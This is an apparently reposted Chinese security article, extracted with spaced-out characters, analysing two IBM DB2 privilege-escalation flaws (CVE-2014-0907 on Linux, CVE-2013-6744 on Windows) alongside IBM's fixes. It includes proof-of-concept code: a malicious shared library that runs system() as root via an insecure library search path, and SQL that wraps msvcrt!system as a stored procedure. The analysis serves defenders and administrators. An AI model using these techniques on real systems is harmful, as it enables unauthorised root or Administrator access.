搜索

[8282] 2014-09-18_两枚近期IBMDB2LUW漏洞提权分析

文档创建者：s7ckTeam
浏览次数：33
最后更新：2025-01-17
2014-09-18_两枚近期IBMDB2LUW漏洞提权分析 两 枚 近 期 I B M   D B 2   L U W 漏 洞 提 权 分 析 x i a 0 k   F r e e B u f   2 0 1 4 - 0 9 - 1 8 I B M 最 近 发 布 了 两 个 影 响 D B 2 的 l i n u x 、 u n i x 、 w i n d o w s 三 个 版 本 的 安 全 漏 洞 补 丁 。 而 本 文 将 探 讨 其 中 这 两 发 漏 洞 （ C V E - 2 0 1 4 - 0 9 0 7 和 C V E - 2 0 1 3 - 6 7 4 4 ） 的 一 些 技 术 细 节 ， 从 而 帮 助 数 据 库 管 理 员 评 估 自 身 数 据 库 环 境 的 风 险 以 及 帮 助 管 理 员 设 计 一 个 更 加 合 理 安 全 的 解 决 方 案 。 第 一 发 ： （ 第 一 发 ： （ C V E - 2 0 1 4 - 0 9 0 7 ） ） D B 2 执 行 提 权 漏 洞 执 行 提 权 漏 洞 如 果 你 需 要 提 权 的 电 脑 上 面 装 了 D B 2 ， 而 你 恰 好 需 要 提 权 ， 你 就 该 偷 着 乐 啦 ~ 在 一 定 条 件 下 ， 该 漏 洞 可 以 允 许 一 个 本 地 普 通 用 户 获 取 到 r o o t 权 限 ， 你 可 以 点 击 此 处 阅 读 漏 洞 的 原 始 报 告 。 下 面 我 们 跟 随 大 神 的 脚 步 跟 踪 一 下 这 个 C V E I B M 在 公 告 处 给 出 了 以 下 解 决 方 法 ： $ c d   < D B 2 _ i n s t a n c e _ i n s t a l l _ d i r e c t o r y > $ b i n / d b 2 c h g l i b p a t h   - s   ' . : '   - r   ' '   a d m / d b 2 i c l e a n 下 面 ， 让 我 们 看 一 下 该 命 令 是 如 何 修 复 了 这 个 漏 洞 以 及 黑 客 是 如 何 利 用 这 个 漏 洞 的 。   ： ） 首 先 ， d b 2 c h g l i b p a t h 工 具 的 作 用 是 改 变 二 进 制 嵌 入 式 库 文 件 的 搜 索 路 径 。 我 们 比 较 一 下 运 行 d b 2 c h g l i b p a t h 运 行 前 后 的 返 回 值 ： 这 意 味 着 ， 当 前 路 径 下 所 有 的 共 享 的 二 进 制 库 文 件 都 将 作 为 搜 索 目 标 。 接 下 来 ， 我 们 看 一 下 执 行 d b 2 i c l e a n 时 发 生 过 什 么 $   s u d o   s t r a c e   - o   / t m p / d b 2 i c l e a n . l o g     $ / h o m e / d b 2 i n s t 1 / s q l l i b / a d m / d b 2 i c l e a n $   c a t   / t m p / d b 2 i c l e a n . l o g   |   m o r e . . . a c c e s s ( " / e t c / l d . s o . p r e l o a d " ,   R _ O K )             =   - 1   E N O E N T   ( N o   s u c h   f i l e   o r   d i r e c t o r y ) o p e n ( " . / t l s / i 6 8 6 / s s e 2 / c m o v / l i b d b 2 u r e 2 . s o . 1 " ,   O _ R D O N L Y | O _ C L O E X E C )   =   - 1   E N O E N T   ( N o   s u c h   f i l e   o r   d i r e c t o r y ) . . . o p e n ( " . / c m o v / l i b d b 2 u r e 2 . s o . 1 " ,   O _ R D O N L Y | O _ C L O E X E C )   =   - 1   E N O E N T   ( N o   s u c h   f i l e   o r   d i r e c t o r y ) o p e n ( " . / l i b d b 2 u r e 2 . s o . 1 " ,   O _ R D O N L Y | O _ C L O E X E C )   =   - 1   E N O E N T   ( N o   s u c h   f i l e   o r   d i r e c t o r y ) o p e n ( " / D o N o t C r e a t e T h i s P a t h _ m a r k e r 1 . * c h g l i b p a t h / t l s / i 6 8 6 / s s e 2 / c m o v / l i b d b 2 u r e 2 . s o . 1 " ,   O _ R D O N L Y | O _ C L O E X E C )   =   - 1   E N O E N T   ( N o   s u c h   f i l e   o r   d i r e c t o r y ) . . . 从 以 上 返 回 值 我 们 可 以 看 出 ， 该 应 用 程 序 首 先 会 在 当 前 目 录 试 图 加 载 l i b d b 2 u r e 2 . s o . 1 文 件 ， 当 找 不 到 之 后 才 去 在 D B 2 的 安 装 目 录 去 搜 索 载 入 这 个 文 件 。 而 这 个 时 候 如 果 存 在 一 个 恶 意 的 库 文 件 “ 正 好 ” 存 在 于 这 个 位 置 ， 那 么 这 个 库 文 件 将 会 被 载 入 ， 而 且 因 为 d b 2 i c l e a n 命 令 是 在 r o o t 权 限 下 执 行 的 ， 所 以 恶 意 代 码 就 相 当 于 在 r o o t 下 运 行 起 来 了 。 但 是 d b 2 c l e a n 命 令 本 身 并 不 是 公
开 执 行 的 ， 所 以 攻 击 者 必 须 使 执 行 账 户 成 为 d b 2 a d m 1 组 的 成 员 才 能 调 用 其 指 定 的 库 文 件 ， 或 者 诱 使 其 他 用 户 （ 属 于 该 组 成 员 ） 执 行 这 个 库 文 件 ， 其 目 的 方 可 达 到 。 下 面 是 下 面 是 P O C 创 建 一 个 库 文 件 ， 替 换 原 D B 2 的 库 文 件 。 代 码 如 下 ： / /   l i b d b 2 u r e 2 . c p p # i n c l u d e   < s t d l i b . h > i n t   i G e t H o s t N a m e ( c h a r *   n ,   i n t   i ) {         s y s t e m ( " i d   >   / m . l o g " ) ; } 这 里 作 为 测 试 ， 我 们 只 定 义 的 唯 一 的 一 个 函 数 ， 我 们 看 一 下 可 爱 的 d b 2 i c l e a n 会 不 会 执 行 呢 ？ 先 编 译 一 下 ： $   g c c   - s h a r e d   - o   l i b d b 2 u r e 2 . s o . 1   l i b d b 2 u r e 2 . c p p 然 后 我 们 作 为 一 个 普 通 用 户 执 行 一 下 d b 2 i c l e a n 命 令 ， 看 看 这 个 过 程 是 否 会 出 现 我 们 所 预 期 的 效 果 ： < D B 2 _ i n s t a n c e _ i n s t a l l _ d i r e c t o r y > / a d m / d b 2 i c l e a n 看 一 下 结 果 ： $   c a t   / m . l o g u i d = 1 0 0 4 ( j a m e s )   g i d = 1 0 0 1 ( j a m e s )   e u i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) , 1 2 6 ( d b 2 i a d m 1 ) , 1 0 0 1 ( j a m e s ) 注 意 看 一 下 E U I D 的 值 ， 我 们 发 现 我 们 所 编 译 的 函 数 最 终 是 在 r o o t 下 运 行 的 ， 看 来 与 我 们 所 预 想 的 是 一 致 的 。 修 复 建 议 修 复 建 议 I B M 给 出 的 修 复 建 议 是 ： 升 级 S U I D 的 库 文 件 ， 并 且 不 要 在 当 前 目 录 搜 索 载 入 那 些 不 明 来 路 的 库 文 件 ， 那 样 ！ 很 危 险 ！ 同 时 提 醒 我 们 广 大 的 开 发 者 朋 友 们 ！ 永 远 不 要 认 为 那 些 不 受 信 任 的 路 径 是 安 全 的 ！ 亚 麻 跌 ！ （ 妈 咪 说 过 ， 不 要 和 陌 生 人 说 话 ！ ）
更 多 关 于 R P A T H （ r u n t i m e   l i b r a r y   p a t h ） 的 资 料 请 戳 这 里 ： h t t p : / / e n . w i k i p e d i a . o r g / w i k i / R p a t h 第 二 发 ： 第 二 发 ： ( C V E - 2 0 1 3 - 6 7 4 4 )   D B 2 权 限 控 制 不 当 导 致 提 权 发 生 权 限 控 制 不 当 导 致 提 权 发 生 刚 刚 第 一 发 是 l i n u x 环 境 下 的 ， 第 二 发 我 们 来 一 个 w i n 环 境 下 的 ： 该 漏 洞 将 使 w i n d o w s 的 登 录 用 户 可 以 获 取 到 A d m i n i s t r a t o r 权 限 。 下 面 我 们 来 看 一 下 关 于 这 个 漏 洞 的 详 细 信 息 ： 漏 洞 可 利 用 的 前 提 条 件 ： 漏 洞 可 利 用 的 前 提 条 件 ： 1 、 连 接 数 据 库 的 有 效 凭 据 2 、 数 据 库 连 接 权 限 （ C O N N E C T   p r i v i l e g e ） 3 、 创 建 r o u t i n e 的 权 限 ， 此 权 限 不 会 被 公 开 授 予 （ C R E A T E _ E X T E R N A L _ R O U T I N E ） 在 W i n d o w s 平 台 特 权 帐 户 默 认 情 况 下 ， D B 2 服 务 运 行 时 并 不 受 访 问 控 制 检 查 ， 这 意 味 着 可 以 通 过 C R E A T E _ E X T E R N A L _ R O U T I N E 权 限 创 建 一 个 库 文 件 并 且 形 成 调 用 ， 从 而 权 限 得 以 提 升 。 下 面 是 下 面 是 P O C 测 试 环 境 ： 1 、 D B 2   L U W 1 0 . 1   F i x   P a c k   1 版 本 2 、 D B 2 执 行 默 认 配 置 首 先 用 获 取 到 C R E A T E _ E X T E R N A L _ R O U T I N E 权 限 的 用 户 运 行 以 下 的 D D L ， 利 用 C   r u n t i m e   s y s t e m 来 创 建 一 个 包 装 器 ： C R E A T E   P R O C E D U R E   d b 2 _ e x e c   ( I N   c m d   v a r c h a r ( 1 0 2 4 ) )   E X T E R N A L   N A M E   ' m s v c r t ! s y s t e m '   L A N G U A G E   C   D E T E R M I N I S T I C   P A R A M E T E R   S T Y L E   D B 2 S Q L 接 下 来 ， 调 用 ： C A L L   d b 2 _ e x e c ( ' w h o a m i   / a l l   >   C : w h o a m i . l o g ' ) 然 后 我 们 看 一 下 我 们 创 建 的 文 件 ： 我 们 发 现 l o g 文 件 包 含 了 d b 2 a d m i n 信 息 。 这 意 味 着 ， 我 们 用 一 个 非 管 理 员 账 户 成 功 用 A d m i n i s t r a t o r 执 行 了 ， 说 明 测 试 结 果 没 有 问 题 。 不 过 鉴 于 本 漏 洞 需 要 的 条 件 只 有 w i n 下 满 足 ， 所 以 此 漏 洞 仅 影 响 W i n d o w s 安 装 ， l i n u x 用 户 可 以 放 心 啦 ~ ~ 修 复 建 议 修 复 建 议 I B M 建 议 仅 对 受 信 任 用 户 授 予 C R E A T E _ E X T E R N A L _ R O U T I N E 的 特 权 。 另 外 需 要 注 意 的 是 ： 第 二 个 漏 洞 修 复 以 后 ， 需 要 重 启 服 务 方 可 生 效 。 [ 参 考 信 息 来 源 参 考 信 息 来 源 s p i d e r l a b s . c o m ， ， F r e e B u f 小 编 小 编 x i a 0 k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M ] 阅 读 原 文

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理